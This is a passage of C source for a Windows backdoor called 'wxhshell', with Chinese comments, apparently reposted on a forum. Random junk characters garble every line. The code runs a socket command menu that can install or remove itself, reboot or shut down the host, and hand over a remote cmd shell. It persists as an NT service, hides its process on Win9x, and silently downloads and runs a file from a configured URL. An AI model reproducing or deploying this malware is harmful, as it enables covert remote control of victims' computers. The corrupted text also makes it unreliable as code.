  else w`F4.e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hu''"/raM  
  } Dt p\ T|)  
  else { ]>\!}\R<  
tr $~INe  
    switch(cmd[0]) { f;PvXq<7"  
  h>[][c(b  
  // 帮助 K\]I@UTwq  
  case '?': { ^qD@qJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |XdkJv]  
    break; 7L\kna<  
  } v3{[rK}  
  // 安装 h(VF  
  case 'i': { M<x W)R  
    if(Install()) W2\ Q-4D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TWFi.w4pY  
    else ^@0-E@ {c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +r 2\v  
    break; Sxw%6Va]p  
    } hWqI*xSaJ  
  // 卸载 1Ev#[FOc  
  case 'r': { Q\4nduQ  
    if(Uninstall()) "mm|0PUJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 56R)631]p  
    else -8r9DS -/W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]rP'\a  
    break; eTp}*'$p  
    } dJ0qg_ U&  
  // 显示 wxhshell 所在路径 MVpk/S%W  
  case 'p': { y8.(filNB  
    char svExeFile[MAX_PATH]; ,awp)@VG7  
    strcpy(svExeFile,"\n\r"); CH/*MA  
      strcat(svExeFile,ExeFile); 7f9i5E1  
        send(wsh,svExeFile,strlen(svExeFile),0); ZHku3)V=o  
    break; `]xot8  
    } D3+UV+&R/  
  // 重启 xRx8E;Q@h?  
  case 'b': {  EL[N%M3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :jp4 !0w  
    if(Boot(REBOOT)) M;i4ss,}!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z a^s%^:yK  
    else { N7`<t&T@  
    closesocket(wsh); 'F665  
    ExitThread(0); N<54_(|X  
    } mVBF2F<4  
    break; 0$9I.%4jAJ  
    } /:j9 #kj  
  // 关机 "?~u*5  
  case 'd': { !MiH^wP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0bQm:J[(#  
    if(Boot(SHUTDOWN)) 'r5[tK}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m8|&z{  
    else { H' [#x2  
    closesocket(wsh); <2Qh5umQ  
    ExitThread(0); +I+7@XiZ  
    } *\i<+~I@l  
    break; /}Z0\ ,  
    } - :0{  
  // 获取shell 8'(|1  
  case 's': { |H)WJ/`  
    CmdShell(wsh); N8>;BHBV!  
    closesocket(wsh); ktr l|  
    ExitThread(0); I=,u7w`m  
    break; ,DT =(  
  } cQaEh1n  
  // 退出 W~1MeAI  
  case 'x': { Z-!W#   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #z\{BtK  
    CloseIt(wsh); =v$H8w  
    break; kXq*Jq  
    } I oz rZ  
  // 离开 MpV6Vbp  
  case 'q': { -k19BDJ,W  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +P~E54  
    closesocket(wsh); @a1+  
    WSACleanup(); ?'_Q^O>  
    exit(1); z5CWgN  
    break; q?=eD^]  
        } #<7ajmr  
  } %` c?cB  
  }  'S f  
ZR3x;$I~4  
  // 提示信息 #0HF7C3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,'CDKzY  
} 3eV(2  
  } 43mV~Oj  
J jCzCA:K_  
  return; `3$S^|v  
} 'CDRb3w}B  
[1Dg_>lz  
// shell模块句柄 oy-Qy  
int CmdShell(SOCKET sock) h<wF;g,  
{ XB &-k<C  
STARTUPINFO si; _BcYS  
ZeroMemory(&si,sizeof(si)); ?D#]g[6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9's/~T  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w@P c7$EP  
PROCESS_INFORMATION ProcessInfo; (YjY=F  
char cmdline[]="cmd"; Uv6#d":f;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); W`C&$v#  
  return 0; a$c7d~p$I  
} ^ ,Bxq^'D  
t-\S/N  
// 自身启动模式 K/ q:aMq  
int StartFromService(void) urHQb5|T}  
{ Zcg=a_  
typedef struct )>)_>[  
{ Ah_'.r1<P9  
  DWORD ExitStatus; #]ii/Et#x  
  DWORD PebBaseAddress; ?Rl?Pp=>  
  DWORD AffinityMask; %aX<p{EY  
  DWORD BasePriority; ~>@Dn40  
  ULONG UniqueProcessId; - v9V/LJ  
  ULONG InheritedFromUniqueProcessId; `@{qnCNQ  
}   PROCESS_BASIC_INFORMATION; A$RN7#  
9-+6Ed^2  
PROCNTQSIP NtQueryInformationProcess; x C'>W"pY  
DVYY1!j<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]?L?q2>&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a$I; L  
$S$%avRX  
  HANDLE             hProcess; Aa&3x~3+  
  PROCESS_BASIC_INFORMATION pbi; 5Mb1==/R  
c@{,&,vsj  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); bQk5R._got  
  if(NULL == hInst ) return 0; r4O*0Q_  
?-O(EY1E  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^/HE_keY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); uU`zbh}]L.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (tEW#l'}  
KM|[:v  
  if (!NtQueryInformationProcess) return 0; S<Q6b_D  
J#CF SG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wX7B&w8wV  
  if(!hProcess) return 0; au8bEw&W  
-t % .I=|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |pr~Ohz  
0[0</"K%1m  
  CloseHandle(hProcess); kX {c+qHM  
||7r'Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Zx<s-J4o=w  
if(hProcess==NULL) return 0; Z{RgpVt  
hNFMuv  
HMODULE hMod; Dw{C_e  
char procName[255]; yPm)r2Ck  
unsigned long cbNeeded; xYM! mcA  
SZc6=^$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m%q#x8Fp  
3Nw9o6`U  
  CloseHandle(hProcess); E/_=0t  
^zqz$G#  
if(strstr(procName,"services")) return 1; // 以服务启动 <?Fgm1=o  
v}-'L#6  
  return 0; // 注册表启动 z@&_3 Gl  
} R\yw9!ESd  
XLFJ?$)Tro  
// 主模块 ~@R=]l"  
int StartWxhshell(LPSTR lpCmdLine) %@*diJ  
{ hdN3r{  
  SOCKET wsl; yA(H=L-=!1  
BOOL val=TRUE; f&^K>Jt1@#  
  int port=0; :4Sj2  
  struct sockaddr_in door; U,Z.MP Q  
TA}gCXE e  
  if(wscfg.ws_autoins) Install(); ~v9\4O  
a&ZH  
port=atoi(lpCmdLine); NK*~UePy  
P 2;j>=W  
if(port<=0) port=wscfg.ws_port; &#g;=jZ  
ep[7#\}5  
  WSADATA data; SL:o.g(>4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ? {cF'RB.  
!e.@Xk.P6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   j/wNPB/NM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nb22b Xt  
  door.sin_family = AF_INET; V# w$|B\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o?^j1\^  
  door.sin_port = htons(port); 'fcJ]%-=  
Pp3tEZfE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { if:2sS9r  
closesocket(wsl); i/oaKpPN  
return 1; S! ,.#e(Y  
} ]=q?= %H  
~|Gtm[9Ru  
  if(listen(wsl,2) == INVALID_SOCKET) { e|AJxn]  
closesocket(wsl); j4H,*fc  
return 1; CbS9fc&  
} .knRH^  
  Wxhshell(wsl); lpve Yz  
  WSACleanup(); d'^jek h  
b)$<aFl  
return 0; E[2c`XFd8  
&OGY?[n  
} v.\1-Q?  
X,x{!  
// 以NT服务方式启动 ^7TM.lE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =wU08}  
{ h{J2CWJ  
DWORD   status = 0; "z< =S  
  DWORD   specificError = 0xfffffff; OMO.-p  
u Dm=W36  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &bs/a] ?Z7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?K I_>{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gGe `w  
  serviceStatus.dwWin32ExitCode     = 0; F7#   
  serviceStatus.dwServiceSpecificExitCode = 0; x1$fkNu  
  serviceStatus.dwCheckPoint       = 0; aQ]C`9k  
  serviceStatus.dwWaitHint       = 0; #=7~.Y  
sqJ?dIBH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *'PG@S  
  if (hServiceStatusHandle==0) return; Jan73AOX  
e][U ;  
status = GetLastError(); : B$ d  
  if (status!=NO_ERROR) v~ZdMQvwt  
{ QF'N8Kla  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [P)HVFy|l  
    serviceStatus.dwCheckPoint       = 0; (tx6U.Oy  
    serviceStatus.dwWaitHint       = 0; id&;  
    serviceStatus.dwWin32ExitCode     = status; [)# ,~L3  
    serviceStatus.dwServiceSpecificExitCode = specificError; J'b *^K  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7DKbuUK  
    return; &'c1"%*%8>  
  } >UZfi u  
m}Kn!21  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5RI"g f  
  serviceStatus.dwCheckPoint       = 0; !95ZK.UT  
  serviceStatus.dwWaitHint       = 0; vDv:3qN7(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2^Q)~sSf9  
} aJOhji<b#L  
zg0)9 br  
// 处理NT服务事件,比如:启动、停止 F^3Q0KsT  
VOID WINAPI NTServiceHandler(DWORD fdwControl) FJp~8 x=  
{ d*3k]Ie%5f  
switch(fdwControl) (Pbdwzao  
{ w2YfFtgD,  
case SERVICE_CONTROL_STOP: M{3He)&  
  serviceStatus.dwWin32ExitCode = 0; *Jmy:C<>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P< O[S  
  serviceStatus.dwCheckPoint   = 0; o.k eM4OQ  
  serviceStatus.dwWaitHint     = 0; +/-#yfn!TR  
  { NK$k9,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;l7wme8Qk  
  } kDS4 t?Ig  
  return; sD_Z`1  
case SERVICE_CONTROL_PAUSE: /F4rbL^:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; iaLsIy#h  
  break; Zh6bUxr  
case SERVICE_CONTROL_CONTINUE: }tua0{N:z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; MHpPb{ ^  
  break; 1ePZs$  
case SERVICE_CONTROL_INTERROGATE: 1<\@i{;xsU  
  break; M0S}-eXc5  
}; pD eqBO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZXFM_>y 5  
} 506B =  
(XX6M[M8  
// 标准应用程序主函数 T7'njaLec  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >hJ$~4?  
{ |K,9EM3  
&Op, ?\   
// 获取操作系统版本 vjhd|  
OsIsNt=GetOsVer(); 0V1)ou84'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); xw&[ 9}Y  
[YpSmEn}Y  
  // 从命令行安装 ?76Wg::  
  if(strpbrk(lpCmdLine,"iI")) Install(); S>/p6}3]  
M-e!F+d{od  
  // 下载执行文件 ^}8(o  
if(wscfg.ws_downexe) { .a8N 5{`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J3Qv|w [3Y  
  WinExec(wscfg.ws_filenam,SW_HIDE); F@& R"-  
} 'u@ )F`  
(vB aem9  
if(!OsIsNt) { <IC=x(T  
// 如果时win9x,隐藏进程并且设置为注册表启动 S1E =E5  
HideProc(); ug.mY=n '  
StartWxhshell(lpCmdLine); 1y2D]h/'  
} _[<R<&jG  
else >8"oO[U5>  
  if(StartFromService()) /XeDN-{  
  // 以服务方式启动 'nz;|6uC  
  StartServiceCtrlDispatcher(DispatchTable); &BY%<h0c  
else V}. uF,>V  
  // 普通方式启动 d(3F:dbk  
  StartWxhshell(lpCmdLine); X*KQWs.  
X|TEeE c[L  
return 0; 9TIyY`2!  
}
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只看该作者 1 发表于: 2006-10-10
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